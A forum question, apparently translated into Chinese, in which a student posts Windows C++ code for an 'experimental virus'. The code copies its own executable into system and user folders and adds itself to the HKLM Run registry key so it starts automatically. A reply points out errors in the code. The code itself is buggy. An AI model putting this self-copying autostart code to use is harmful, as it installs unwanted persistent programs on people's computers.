我正在为我的学校项目编写实验性病毒。应该进行自我复制,自行启动.. 我开始用这个article,我来到了这一点:无法写入注册表
#include <windows.h>
#include <iostream>
#include <tchar.h>
#include <stdio.h>
using namespace std;
void main()
{
wchar_t system[MAX_PATH];
wchar_t user[MAX_PATH];
wchar_t pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
DWORD bufSize = MAX_PATH;
GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));
std::wstring s(system);
s += std::wstring(L"\\virus.exe");
WCHAR* sysfull = &s[0];
if(!CopyFile(pathtofile, sysfull, false))
{
sysfull = L"C:\\Users\\Public\\virus.exe";
if(!CopyFile(pathtofile, sysfull, false))
{
GetUserName(user, &bufSize);
std::wstring u(L"C:\\Users\\");
u += std::wstring(user);
u += std::wstring(L"\\Documents\\virus.exe");
sysfull = &u[0];
CopyFile(pathtofile, sysfull, false);
}
}
HKEY hKey;
bool t = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
bool t1 = RegSetValueEx(hKey, L"Writing to the Registry Example", 0, REG_SZ, (const unsigned char*)sysfull, sizeof(system));
RegCloseKey(hKey);
MessageBox(NULL,L"Hello",L"Messagebox Example",MB_OK);
}
当我看到在注册表编辑器在HKEY_LOCAL_MACHINE \ SOFTWARE \微软\的Windows \ CurrentVersion \ Run中存在的问题是不是新的关键。 RegOpenKeyEx和RegSetValueEx返回true,并且一切似乎都正常,但事实并非如此,我也不知道为什么。
我在Windows 8上并使用VS12。
首先,'void main'不是合法的C++。其次,更仔细地阅读文档。他们甚至没有布尔型的返回类型,所以我不知道你从哪里得到了真正的答案,但是如果有的话,那就意味着失败。 – chris